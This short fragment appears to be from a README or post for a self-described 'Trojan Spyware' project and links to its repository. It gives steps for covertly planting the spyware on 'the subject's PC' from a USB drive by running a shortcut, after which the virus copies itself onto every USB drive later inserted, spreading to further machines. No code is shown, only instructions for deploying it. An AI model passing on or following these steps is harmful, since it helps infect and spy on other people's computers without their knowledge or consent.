Trojan Spyware: https://github.com/MinhasKamal/TrojanCockroac
Now, insert the USB-Drive in the subject's PC (Yes, you have to start the spreading process from somewhere!)
Run the shortcut and the spyware will be injected.
Now (after a restart) everytime any USB-Drive is inserted in the affected PC, the virus will copy itself in that, and the circle will start again!